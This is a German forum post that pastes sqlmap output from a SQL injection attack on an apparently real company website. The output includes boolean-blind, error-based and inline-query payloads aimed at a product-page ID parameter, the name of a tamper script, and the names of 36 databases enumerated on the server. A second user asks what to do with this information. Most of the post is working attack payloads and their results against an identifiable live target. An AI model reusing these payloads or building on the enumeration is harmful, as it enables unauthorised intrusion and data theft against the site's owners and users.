Eine Antwort in diesem Thema

[len0]

Parameter: #1* (URI)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: http://www.karl-dose.de:80/en/produkt_detail.asp?ID=-9610) OR 1094=1094-- Iauk

    Type: error-based
    Title: Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause
    Payload: http://www.karl-dose.de:80/en/produkt_detail.asp?ID=-1360) OR 3938=CONVERT(INT,(SELECT CHAR(113)+CHAR(120)+
CHAR(112)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (3938=3938) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(1
13)+CHAR(98)+CHAR(113)))-- vDXC

    Type: inline query
    Title: Microsoft SQL Server/Sybase inline queries
    Payload: http://www.karl-dose.de:80/en/produkt_detail.asp?ID=(SELECT CHAR(113)+CHAR(120)+CHAR(112)+CHAR(98)+CHAR(113
)+(SELECT (CASE WHEN (5358=5358) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(113)+CHAR(98)+CHAR(113))

Tamper [SQLMap] space2mysqlblank.py

available databases [36
[*] adrextern
[*] alarmtest
[*] aoledvtest
[*] aspdb
[*] ateco
[*] attribut
[*] berater-im-web.de
[*] c-c_de
[*] da_bestell_ich
[*] dbegl2
[*] eee
[*] falz
[*] gwpstest
[*] hd-maschinen
[*] hpm
[*] hpmdb
[*] hsi
[*] jupitec.de
[*] karl dose
[*] Kennwort
[*] klc
[*] master
[*] merak02
[*] model
[*] msdb01
[*] mvadb
[*] rak_testsite2
[*] Servercontroller
[*] sfw_forum
[*] sfw_master
[*] spainweb
[*] tempdb
[*] tietokanta
[*] Urlaubsregion
[*] warpedthought
[*] wkpdb

[leonalexkraus]

Was fange ich mit diesen Informationen an? Und was genau ist dort passiert? Wäre nett, wenn mir das jemand kurz erklären könnte..